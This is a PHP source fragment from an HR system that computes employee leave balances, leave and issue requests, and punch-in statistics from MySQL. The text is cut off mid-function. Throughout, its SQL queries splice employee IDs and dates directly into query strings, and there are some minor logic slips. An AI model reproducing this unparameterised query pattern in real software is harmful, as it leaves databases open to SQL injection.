//                 prev_applicable_to,
//                 applicable_from,
//                 applicable_to,
//                 JSON_UNQUOTE(JSON_EXTRACT(leave_details, CONCAT('$[', idx + 1, '].leave_type'))) AS leave_name,
//                 JSON_UNQUOTE(JSON_EXTRACT(leave_details, CONCAT('$[', idx + 1, '].total_leave'))) AS leave_number,
//                 idx + 1
//             FROM find_adon_total_leave
//             WHERE idx + 1 < JSON_LENGTH(leave_details)
//         ),
//         final_adon_max_leave AS (
//             SELECT 
//                 id,
//                 duration,
//                 leave_details,
//                 (CASE
//                 WHEN COALESCE(max_leave_take,'')='' THEN leave_number
//                 ELSE max_leave_take
//                 END) as max_leave_take,
//                 carry_forward,
//                 max_carry_forward,
//                 prev_applicable_from,
//                 prev_applicable_to,
//                 applicable_from,
//                 applicable_to,
//                 leave_name,
//                 leave_number
//             FROM find_adon_total_leave
//         )
//         SELECT 
//             id,
//             Max(duration) AS duration,
//             Max(max_leave_take) AS max_leave_take,
//             Max(carry_forward) AS carry_forward,
//             Max(max_carry_forward) AS max_carry_forward,
//             MAX(prev_applicable_from) AS prev_applicable_from,
//             Max(prev_applicable_to) AS prev_applicable_to,
//             Max(applicable_from) AS applicable_from,
//             Max(applicable_to) AS applicable_to,
//             GROUP_CONCAT(leave_name) as leave_name,
//             GROUP_CONCAT(leave_number) as leave_number
//         FROM final_adon_max_leave
//         GROUP BY id
//     ";
//     $total_leave = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$total_leave_sql));
//     // $total_leave['query'] = $total_leave_sql;

//     if($total_leave['duration']=='Yearly'){
//         $st = ($total_leave['applicable_from']>date('Y-m',strtotime($joining_date)))?"$total_leave[applicable_from]-01":$joining_date;

//         $date_num = date('d',strtotime($st));
//         if($date_num>'05' && $date_num<='16'){
//             $based_month_leave = [0.5, 0.5];
//         }else if($date_num>'17' && $date_num<='24'){
//             $based_month_leave = [0, 0.5];
//         }else if($date_num>'24' && $date_num<=date('t',strtotime($st))){
//             $based_month_leave = [0, 0];
//         }else{
//             $based_month_leave = [1, 0.5];
//         }


//         $date1=date_create($st);
//         $date2=date_create(date("Y-m-t", strtotime("$financial_year_end")));
//         $diff=date_diff($date1,$date2);
//         $remaining_months_from_applicable = $diff->m;
//         $u_leave_number = explode(',', $total_leave['leave_number']);
//         foreach($u_leave_number as $i=> $v){
//             $u_leave_number[$i] = $u_leave_number[$i]/12*$remaining_months_from_applicable;
//             $u_leave_number[$i] += $based_month_leave[$i];
//         }
//         $total_leave['leave_number'] = implode(',',$u_leave_number);
//     }

//     // get monthly leave
//     $utilize_leave_max_sql = "
//         SELECT 
//             sum(leave_count) as utilize_leave_max_count
//         FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
//         GROUP BY employee_id
//     ";
//     $utilize_leave_max_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$utilize_leave_max_sql))['utilize_leave_max_count'];
//     $max_leave_available = ($total_leave['max_leave_take']-$utilize_leave_max_count);

//     if($total_leave['duration']=='Monthly' && $total_leave['carry_forward']=='No'){

//         $utilize_leave_total_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
//             GROUP BY leave_status
//         ";
//         $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
//         $leave_name = explode(',',$total_leave['leave_name']);
//         $leave_number = explode(',',$total_leave['leave_number']);
//         while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $total_leave_used[$ni] = $ultc['leave_count'];
//             $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
//         }
//     }else if($total_leave['duration']=='Monthly' && $total_leave['carry_forward']=='Yes'){

//         $utilize_leave_total_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
//             GROUP BY leave_status
//         ";
//         $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
//         $leave_name = explode(',',$total_leave['leave_name']);
//         $leave_number = explode(',',$total_leave['leave_number']);
//         while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
//         }

//         // ################################################### previous leave
//         $prev_start_month = date('Y-m-01',strtotime($total_leave['applicable_from']));
//         $prev_till_month = date('Y-m-t',strtotime('previous month'));
//             $date1=date_create($prev_start_month);
//             $date2=date_create($prev_till_month);
//             $diff=date_diff($date1,$date2);
//         $total_prev_months = $diff->m +1;
//         // $total_leave['total_prev_months'] = $total_prev_months;

//         $u_leave_number = explode(',', $total_leave['leave_number']);
//         foreach($u_leave_number as $i=> $v){
//             $u_leave_number[$i] = $u_leave_number[$i]*$total_prev_months;
//         }
//         $prev_year_leave = $u_leave_number;

        
//         $prev_utilize_leave_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$prev_start_month' and '$prev_till_month')
//             GROUP BY leave_status
//         ";
//         $prev_utilize_leave_count = mysqli_query($GLOBALS['db'],$prev_utilize_leave_sql);
//         while($ultc = mysqli_fetch_assoc($prev_utilize_leave_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $total_leave_used[$ni] = $ultc['leave_count'];
//             $prev_year_leave[$ni] = $prev_year_leave[$ni]- $ultc['leave_count'];
//         }

//         $max_leave_available = array_sum($prev_year_leave) + array_sum($leave_number);
//         // ################################################### previous leave

//     }else if($total_leave['duration']=='Yearly' && $total_leave['carry_forward']=='No'){

//         $leave_year_start = date('Y-m-01', strtotime($total_leave['applicable_from']));
//         $leave_year_end = date('Y-m-t',strtotime($total_leave['applicable_to']));

//         // get yearly leave
//         $utilize_leave_total_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$leave_year_start' and '$leave_year_end') 
//             GROUP BY leave_status
//         ";
//         $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
//         $leave_name = explode(',',$total_leave['leave_name']);
//         $leave_number = explode(',',$total_leave['leave_number']);
//         while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $total_leave_used[$ni] = $ultc['leave_count'];
//             $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
//         }

//     }else if($total_leave['duration']=='Yearly' && $total_leave['carry_forward']=='Yes'){

//         $leave_year_start = date('Y-m-01', strtotime($total_leave['applicable_from']));
//         $leave_year_end = date('Y-m-t',strtotime($total_leave['applicable_to']));

//         $leave_name = explode(',',$total_leave['leave_name']);
//         $leave_number = explode(',', $total_leave['leave_number']);

//         // ############################ current year in case
//         $in_cash_current_leave_count_sql = "SELECT * FROM incash_leave WHERE employee_id='$eid' AND (financial_year_start<='$leave_year_start' and financial_year_end='$leave_year_end')";
//         $in_cash_current_leave_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$in_cash_current_leave_count_sql));
//         $leave_number[0] = $leave_number[0] + $in_cash_current_leave_count['casual_carryForward'] ?? 0;
//         $leave_number[1] = $leave_number[1] + $in_cash_current_leave_count['medical_carryForward'] ?? 0;
//         $total_leave['leave_number'] = implode(',',$leave_number);
//         // ############################ current year in case


//         // get yearly leave
//         $utilize_leave_total_sql = "
//             SELECT 
//                 Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//             FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$leave_year_start' and '$leave_year_end') 
//             GROUP BY leave_status
//         ";
//         $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
//         while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
//             $ni = array_search($ultc['leave_status'],$leave_name);
//             $total_leave_used[$ni] = $ultc['leave_count'];
//             $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
//         }

//         // ################################################### previous leave
//         // if($total_leave['applicable_from']>$total_leave['prev_applicable_from'] && $total_leave['applicable_from']>date("Y-m",strtotime($joining_date))){
            
//         //     // ##################
//         //     $st = ($total_leave['prev_applicable_from']>date('Y-m',strtotime($joining_date)))?"$total_leave[prev_applicable_from]-01":$joining_date;

//         //     $date_num = date('d',strtotime($st));
//         //     if($date_num>'05' && $date_num<='16'){
//         //         $based_month_leave = [0.5, 0.5];
//         //     }else if($date_num>'17' && $date_num<='24'){
//         //         $based_month_leave = [0, 0.5];
//         //     }else if($date_num>'24' && $date_num<=date('t',strtotime($st))){
//         //         $based_month_leave = [0, 0];
//         //     }else{
//         //         $based_month_leave = [1, 0.5];
//         //     }

//         //     $date1=date_create($st);
//         //     $date2=date_create(date('Y-m-t',strtotime("$total_leave[prev_applicable_to]")));
//         //     $diff=date_diff($date1,$date2);
//         //     $remaining_months_from_applicable = $diff->m;
//         //     $u_leave_number = explode(',', $total_leave['leave_number']);
//         //     foreach($u_leave_number as $i=> $v){
//         //         $u_leave_number[$i] = $u_leave_number[$i]/12*$remaining_months_from_applicable;
//         //         $u_leave_number[$i] += $based_month_leave[$i];
//         //     }
//         //     $prev_year_leave = $u_leave_number;
//         //     // ##################
//         //     $total_leave['prev_year_leave'] = $prev_year_leave;
//         //     $total_leave['joining_date'] = $joining_date;


//         //     // find previous year utilize leave
//         //     $prev_leave_year_start = date('Y-m-01',strtotime($total_leave['prev_applicable_from']));
//         //     $prev_leave_year_end = date('Y-m-t',strtotime($total_leave['prev_applicable_to']));
//         //     // ############################ get yearly leave
//         //     $prev_utilize_leave_sql = "
//         //         SELECT 
//         //             Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
//         //         FROM utilize_leave WHERE employee_id='$eid' AND (leave_date BETWEEN '$prev_leave_year_start' and '$prev_leave_year_end') 
//         //         GROUP BY leave_status
//         //     ";
//         //     $prev_utilize_leave_count = mysqli_query($GLOBALS['db'],$prev_utilize_leave_sql);
//         //     while($ultc = mysqli_fetch_assoc($prev_utilize_leave_count)){
//         //         $ni = array_search($ultc['leave_status'],$leave_name);
//         //         $prev_year_leave[$ni] = $prev_year_leave[$ni]- $ultc['leave_count'];
//         //         $prev_year_leave[$ni] = $prev_year_leave[$ni]<0?0:$prev_year_leave[$ni];
//         //     }
//         //     // ############################ get yearly leave


//         //     // ############################ previous year in case
//         //     $in_cash_previous_leave_sql = "SELECT * FROM incash_leave WHERE employee_id='$eid' AND (financial_year_start<='$prev_leave_year_start' and financial_year_end='$prev_leave_year_end')";
//         //     $in_cash_previous_leave_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$in_cash_previous_leave_sql));
//         //     // ############################ previous year in case

//         //     $prev_year_leave[0] -= $in_cash_previous_leave_count['casual_inCash'];
//         //     $prev_year_leave[1] -= $in_cash_previous_leave_count['medical_inCash'];

//         //     $prev_year_leave[0] = $prev_year_leave[0]>=$in_cash_previous_leave_count['casual_carryForward']?$in_cash_previous_leave_count['casual_carryForward']:$prev_year_leave[0];
//         //     $prev_year_leave[1] = $prev_year_leave[1]>=$in_cash_previous_leave_count['medical_carryForward']?$in_cash_previous_leave_count['medical_carryForward']:$prev_year_leave[1];

//         //     $prev_year_leave[0] = ($prev_year_leave[0]==''|| $prev_year_leave[0]<0) ? 0 : $prev_year_leave[0];
//         //     $prev_year_leave[1] = ($prev_year_leave[1]==''|| $prev_year_leave[1]<0) ? 0 : $prev_year_leave[1];

//         //     $leave_number[0] += $prev_year_leave[0];
//         //     $leave_number[1] += $prev_year_leave[1];

//         // }
//         // ################################################### previous leave
//     }
    
//     $max_leave_available = ($max_leave_available>array_sum($leave_number))?array_sum($leave_number):$max_leave_available;
//     return $total_leave += [
//         'available_leave' => !empty($leave_number) ? implode(',', $leave_number) : '0',
//         'max_leave_available' => !empty($max_leave_available) ? "$max_leave_available" : '0',
//         'total_leave_used' => !empty($total_leave_used) ? implode(',', $total_leave_used) : '0',
//         'in_cash_current_leave_count' => $in_cash_current_leave_count ?? null,
//         // '$diff'=>$diff,
//         // '$date1'=>$date1,
//         // '$date2'=>$date2,
//         // '$remaining_months_from_applicable'=>$remaining_months_from_applicable,
//         // '$total_leave'=>$total_leave['leave_number'],
//         // '$in_cash_current_leave_count_sql'=>$in_cash_current_leave_count_sql ?? '',
//         // '$utilize_leave_total_sql'=>$utilize_leave_total_sql ?? ''
//     ];
// }

function find_adon_total_leave($financial_year_start,$financial_year_end,$getMonth,$joining_date,$eid,$firstDate,$lastDate){
    /* ===================== SAFETY INIT ===================== */
    $leave_number = [];
    $leave_name = [];
    $total_leave_used = [];
    $max_leave_available = 0;
    $in_cash_current_leave_count = null;

    /* ===================== MAIN QUERY ===================== */
    $total_leave_sql = "
        WITH RECURSIVE final_adon_leave_type AS (
            SELECT *
            FROM (
                SELECT *,
                    (CASE
                        WHEN main_applicable_from < DATE_FORMAT(DATE_SUB(CONCAT(applicable_from,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_from,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        ELSE main_applicable_from
                    END) AS prev_applicable_from,
                    (CASE
                        WHEN COALESCE(main_applicable_to,'')=''
                        THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        WHEN main_applicable_to < DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        THEN DATE_FORMAT(DATE_SUB(CONCAT(applicable_to,'-01'), INTERVAL 1 YEAR), '%Y-%m')
                        ELSE DATE_FORMAT(CONCAT(applicable_to,'-01'), '%Y-03')
                    END) AS prev_applicable_to
                FROM (
                    SELECT
                        id, duration, leave_details, max_leave_take,
                        carry_forward, max_carry_forward,
                        applicable_from AS main_applicable_from,
                        applicable_to AS main_applicable_to,
                        (CASE WHEN applicable_from >= '$financial_year_start' THEN applicable_from ELSE '$financial_year_start' END) AS applicable_from,
                        (CASE WHEN NULLIF(applicable_to,'') <= '$financial_year_end' THEN applicable_to ELSE '$financial_year_end' END) AS applicable_to,
                        leave_format
                    FROM leave_policy
                ) sub
            ) sub
            WHERE ('$getMonth' BETWEEN applicable_from AND applicable_to)
            AND leave_format = 'adon'
        ),
        find_adon_total_leave AS (
            SELECT
                id, duration, leave_details, max_leave_take,
                carry_forward, max_carry_forward,
                prev_applicable_from, prev_applicable_to,
                applicable_from, applicable_to,
                JSON_UNQUOTE(JSON_EXTRACT(leave_details,'$[0].leave_type')) AS leave_name,
                JSON_UNQUOTE(JSON_EXTRACT(leave_details,'$[0].total_leave')) AS leave_number,
                0 AS idx
            FROM final_adon_leave_type
            UNION ALL
            SELECT
                id, duration, leave_details, max_leave_take,
                carry_forward, max_carry_forward,
                prev_applicable_from, prev_applicable_to,
                applicable_from, applicable_to,
                JSON_UNQUOTE(JSON_EXTRACT(leave_details, CONCAT('$[',idx+1,'].leave_type'))) AS leave_name,
                JSON_UNQUOTE(JSON_EXTRACT(leave_details, CONCAT('$[',idx+1,'].total_leave'))) AS leave_number,
                idx+1
            FROM find_adon_total_leave
            WHERE idx+1 < JSON_LENGTH(leave_details)
        ),
        final_adon_max_leave AS (
            SELECT
                id, duration,
                (CASE WHEN COALESCE(max_leave_take,'')='' THEN leave_number ELSE max_leave_take END) AS max_leave_take,
                carry_forward, max_carry_forward,
                prev_applicable_from, prev_applicable_to,
                applicable_from, applicable_to,
                leave_name, leave_number
            FROM find_adon_total_leave
        )
        SELECT
            id,
            MAX(duration) AS duration,
            MAX(max_leave_take) AS max_leave_take,
            MAX(carry_forward) AS carry_forward,
            MAX(max_carry_forward) AS max_carry_forward,
            MAX(prev_applicable_from) AS prev_applicable_from,
            MAX(prev_applicable_to) AS prev_applicable_to,
            MAX(applicable_from) AS applicable_from,
            MAX(applicable_to) AS applicable_to,
            GROUP_CONCAT(leave_name) AS leave_name,
            GROUP_CONCAT(leave_number) AS leave_number
        FROM final_adon_max_leave
        GROUP BY id
    ";

    $total_leave = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'], $total_leave_sql));
    if (!$total_leave) {
        return $total_leave = [
            "status" => "not_found",
            'available_leave' => '0',
            'max_leave_available' => '0',
            'total_leave_used' => '0',
        ];

        exit;
    }

    /* ===================== NORMALIZE ===================== */
    $leave_name   = explode(',', $total_leave['leave_name'] ?? '');
    $leave_number = array_map('floatval', explode(',', $total_leave['leave_number'] ?? ''));

    /* ===================== YEARLY PRORATION ===================== */
    if ($total_leave['duration'] === 'Monthly') {

        if(($total_leave['applicable_from'] == date('Y-m', strtotime($joining_date))) && ($getMonth == date('Y-m', strtotime($joining_date)))){
            $st = $joining_date;
        }else{
            $st = date("Y-m-01");
        }

        $date_num = (int)date('d', strtotime($st));

        if($date_num <= 5){
            $based_month_leave = [4];
        }else if($date_num > 5 && $date_num <= 12){
            $based_month_leave = [3];
        }else if($date_num > 12 && $date_num <= 20){
            $based_month_leave = [2];
        }else if($date_num > 20 && $date_num <= 25){
            $based_month_leave = [1];
        }else{
            $based_month_leave = [0];
        }

        // $diff = date_diff(date_create($st), date_create(date('Y-m-t', strtotime($financial_year_end))));
        // $months = $diff->m;

        foreach ($leave_number as $i => $v) {
            $leave_number[$i] = ($based_month_leave[$i] ?? 0);
        }
    }

    $utilize_leave_max_sql = "
        SELECT 
            sum(leave_count) as utilize_leave_max_count
        FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
        GROUP BY employee_id
    ";
    $utilize_leave_max_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$utilize_leave_max_sql))['utilize_leave_max_count'];

    $max_leave_take = $total_leave['max_leave_take'];

    // I want max_leave_available is depends on oresentcount if present count is 0 then max_leave_available will be 0 otherwise it will be calculated based on leave policy
    $getPresentCount = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'], "SELECT SUM(CASE WHEN attendance_status = 'Present' THEN 1 WHEN attendance_status = 'Half Day' THEN 0.5 ELSE 0 END) as attendance_count FROM `attendance` WHERE employee_id='$eid' AND DATE_FORMAT(STR_TO_DATE(which_month, '%b %d %Y'), '%Y-%m') = '$getMonth'"))['attendance_count'];

    if($getPresentCount == 0){
        $max_leave_take = 0;
    }else if($getPresentCount > 0 && $getPresentCount <=7){
        $max_leave_take = 1;
    }else if($getPresentCount > 7 && $getPresentCount <=15){
        $max_leave_take = 2;
    }else if($getPresentCount > 15 && $getPresentCount <=22){
        $max_leave_take = 3;
    }else if($getPresentCount > 22 && $getPresentCount <=30){
        $max_leave_take = 4;
    }

    $max_leave_available = ($max_leave_take-$utilize_leave_max_count);

    if($total_leave['duration']=='Monthly' && $total_leave['carry_forward']=='No'){

        $utilize_leave_total_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
            GROUP BY leave_status
        ";
        $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
        $leave_name = explode(',',$total_leave['leave_name']);
        // $leave_number = explode(',',$total_leave['leave_number']);
        $leave_number = $leave_number;
        while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $total_leave_used[$ni] = $ultc['leave_count'];
            $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
        }
    }else if($total_leave['duration']=='Monthly' && $total_leave['carry_forward']=='Yes'){

        $utilize_leave_total_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$firstDate' and '$lastDate')
            GROUP BY leave_status
        ";
        $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
        $leave_name = explode(',',$total_leave['leave_name']);
        // $leave_number = explode(',',$total_leave['leave_number']);
        $leave_number = $leave_number;

        while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
        }

        // ################################################### previous leave
        $prev_start_month = date('Y-m-01',strtotime($total_leave['applicable_from']));
        $prev_till_month = date('Y-m-t',strtotime('previous month'));
            $date1=date_create($prev_start_month);
            $date2=date_create($prev_till_month);
            $diff=date_diff($date1,$date2);
        $total_prev_months = $diff->m +1;
        // $total_leave['total_prev_months'] = $total_prev_months;

        $u_leave_number = explode(',', $total_leave['leave_number']);
        foreach($u_leave_number as $i=> $v){
            $u_leave_number[$i] = $u_leave_number[$i]*$total_prev_months;
        }
        $prev_year_leave = $u_leave_number;

        
        $prev_utilize_leave_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$prev_start_month' and '$prev_till_month')
            GROUP BY leave_status
        ";
        $prev_utilize_leave_count = mysqli_query($GLOBALS['db'],$prev_utilize_leave_sql);
        while($ultc = mysqli_fetch_assoc($prev_utilize_leave_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $total_leave_used[$ni] = $ultc['leave_count'];
            $prev_year_leave[$ni] = $prev_year_leave[$ni]- $ultc['leave_count'];
        }

        $max_leave_available = array_sum($prev_year_leave) + array_sum($leave_number);
        // ################################################### previous leave

    }else if($total_leave['duration']=='Yearly' && $total_leave['carry_forward']=='No'){

        $leave_year_start = date('Y-m-01', strtotime($total_leave['applicable_from']));
        $leave_year_end = date('Y-m-t',strtotime($total_leave['applicable_to']));

        // get yearly leave
        $utilize_leave_total_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$leave_year_start' and '$leave_year_end') 
            GROUP BY leave_status
        ";
        $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
        $leave_name = explode(',',$total_leave['leave_name']);
        // $leave_number = explode(',',$total_leave['leave_number']);
        $leave_number = $leave_number;

        while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $total_leave_used[$ni] = $ultc['leave_count'];
            $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
        }

    }else if($total_leave['duration']=='Yearly' && $total_leave['carry_forward']=='Yes'){

        $leave_year_start = date('Y-m-01', strtotime($total_leave['applicable_from']));
        $leave_year_end = date('Y-m-t',strtotime($total_leave['applicable_to']));

        $leave_name = explode(',',$total_leave['leave_name']);
        // $leave_number = explode(',', $total_leave['leave_number']);
        $leave_number = $leave_number;


        // ############################ current year in case
        $in_cash_current_leave_count_sql = "SELECT * FROM incash_leave WHERE employee_id='$eid' AND (financial_year_start<='$leave_year_start' and financial_year_end='$leave_year_end')";
        $in_cash_current_leave_count = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'],$in_cash_current_leave_count_sql));
        $leave_number[0] = $leave_number[0] + $in_cash_current_leave_count['casual_carryForward'] ?? 0;
        $leave_number[1] = $leave_number[1] + $in_cash_current_leave_count['medical_carryForward'] ?? 0;
        $total_leave['leave_number'] = implode(',',$leave_number);
        // ############################ current year in case


        // get yearly leave
        $utilize_leave_total_sql = "
            SELECT 
                Max(employee_id) as employee_id, leave_status, COALESCE(sum(leave_count),0) as leave_count 
            FROM utilize_leave WHERE employee_id='$eid' AND leave_status NOT IN ('Casual','Medical') AND (leave_date BETWEEN '$leave_year_start' and '$leave_year_end') 
            GROUP BY leave_status
        ";
        $utilize_leave_total_count = mysqli_query($GLOBALS['db'],$utilize_leave_total_sql);
        while($ultc = mysqli_fetch_assoc($utilize_leave_total_count)){
            $ni = array_search($ultc['leave_status'],$leave_name);
            $total_leave_used[$ni] = $ultc['leave_count'];
            $leave_number[$ni] = $leave_number[$ni]- $ultc['leave_count'];
        }
    }

    $max_leave_available = ($max_leave_available>array_sum($leave_number))?array_sum($leave_number):$max_leave_available;
    return $total_leave += [
        'available_leave' => !empty($leave_number) ? implode(',', $leave_number) : '0',
        'max_leave_available' => !empty($max_leave_available) ? "$max_leave_available" : '0',
        'total_leave_used' => !empty($total_leave_used) ? implode(',', $total_leave_used) : '0',
        'in_cash_current_leave_count' => $in_cash_current_leave_count ?? null,
        // '$diff'=>$diff,
        // '$date1'=>$date1,
        // '$date2'=>$date2,
        // '$remaining_months_from_applicable'=>$remaining_months_from_applicable,
        // '$total_leave'=>$total_leave['leave_number'],
        // '$in_cash_current_leave_count_sql'=>$in_cash_current_leave_count_sql ?? '',
        // '$utilize_leave_total_sql'=>$utilize_leave_total_sql ?? ''
    ];
}


function find_issue_request($eid, $date=null, $firstDate, $lastDate){
    // issue with date
    $issue_request_sql = "
        WITH RECURSIVE date_series AS (
            SELECT DATE('$firstDate') AS date, '$eid' as d_emp_id
            UNION ALL
            SELECT DATE_ADD(date, INTERVAL 1 DAY), d_emp_id
            FROM date_series
            WHERE DATE_ADD(date, INTERVAL 1 DAY) <= '$lastDate'
        ),
        with_future_leaves as (
            SELECT
            id,
            employee_id,
            issue_date,
            issue_type,
            issue_note,
            issue_status,
            remark,
            status_by,
            created_at,
            start_leave,
            (CASE
                WHEN start_leave=end_leave THEN start_leave
                ELSE end_leave
            END) as end_leave
            FROM (
                SELECT 
                    *,
                    str_to_date(SUBSTRING_INDEX(issue_date,' to ',1),'%d %M %Y') as start_leave,
                    str_to_date(SUBSTRING_INDEX(issue_date,' to ',-1),'%d %M %Y') as end_leave
                FROM issue_with_date 
                WHERE employee_id='$eid'
            ) break_leave
        ),
        future_leaves as (
            SELECT
                t1.date,
                t2.*
            FROM date_series t1
            INNER JOIN with_future_leaves t2 ON t1.date BETWEEN t2.start_leave AND t2.end_leave
        )
        SELECT 
        t1.*,
        t2.name
        FROM future_leaves t1
        LEFT JOIN users t2 ON t1.status_by=t2.employee_id
    ";
    if($date!=null){
        $issue_request_sql .= " WHERE t1.date='$date' ";
    }
    $requestLeave = mysqli_fetch_all(mysqli_query($GLOBALS['db'], $issue_request_sql),MYSQLI_ASSOC);
    return $requestLeave;
}

function find_leave_request($eid, $date, $firstDate, $lastDate){
    $request_leave_sql = "
            WITH RECURSIVE date_series AS (
                SELECT DATE('$firstDate') AS date, '$eid' as d_emp_id
                UNION ALL
                SELECT DATE_ADD(date, INTERVAL 1 DAY), d_emp_id
                FROM date_series
                WHERE DATE_ADD(date, INTERVAL 1 DAY) <= '$lastDate'
            ),
            with_future_leaves as (
                SELECT
                id,
                employee_id,
                leave_date,
                leave_type,
                leave_reason,
                leave_status,
                remark,
                status_by,
                created_at,
                start_leave,
                (CASE
                    WHEN start_leave=end_leave THEN start_leave
                    ELSE end_leave
                END) as end_leave
                FROM (
                    SELECT 
                        *,
                        str_to_date(SUBSTRING_INDEX(leave_date,' to ',1),'%d %M %Y') as start_leave,
                        str_to_date(SUBSTRING_INDEX(leave_date,' to ',-1),'%d %M %Y') as end_leave
                    FROM request_leave 
                    WHERE employee_id='$eid'
                ) break_leave
            ),
            
            future_leaves as (
                SELECT
                    t1.date,
                    t2.*
                FROM date_series t1
                INNER JOIN with_future_leaves t2 ON t1.date BETWEEN t2.start_leave AND t2.end_leave
            )
            SELECT 
            t1.*,
            t2.name
            FROM future_leaves t1
            LEFT JOIN users t2 ON t1.status_by=t2.employee_id
            WHERE t1.date='$date'
        ";
        $requestLeave = mysqli_fetch_all(mysqli_query($GLOBALS['db'],$request_leave_sql), MYSQLI_ASSOC);
        return $requestLeave;
}

function find_punch_status($eid, $firstDate, $lastDate){
    $sql = "
    SELECT 
        SUM(CASE WHEN str_to_date(punch_in, '%h:%i %p')<='10:00:00' THEN 1 ELSE NULL END) as 'Punch in before 10AM',
        SUM(CASE WHEN str_to_date(punch_in, '%h:%i %p')>'10:00:00' AND str_to_date(punch_in, '%h:%i %p')<='11:00:00' THEN 1 ELSE NULL END) as 'Punch in Between 10AM To 11AM',
        SUM(CASE WHEN str_to_date(punch_in, '%h:%i %p')>'11:00:00' AND str_to_date(punch_in, '%h:%i %p')<='12:00:00' THEN 1 ELSE NULL END) as 'Punch in Between 11AM To 12PM',
        SUM(CASE WHEN str_to_date(punch_in, '%h:%i %p')>'12:00:00' THEN 1 ELSE NULL END) as 'Punch in after 12PM'
    FROM `attendance` 
    WHERE COALESCE(punch_in, '')<>'' 
        AND COALESCE(punch_out, '')<>'' 
        AND employee_id='$eid'
        AND str_to_date(which_month,'%M %d %Y') BETWEEN '$firstDate' and '$lastDate'
    ";
    $punch_status = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'], $sql));
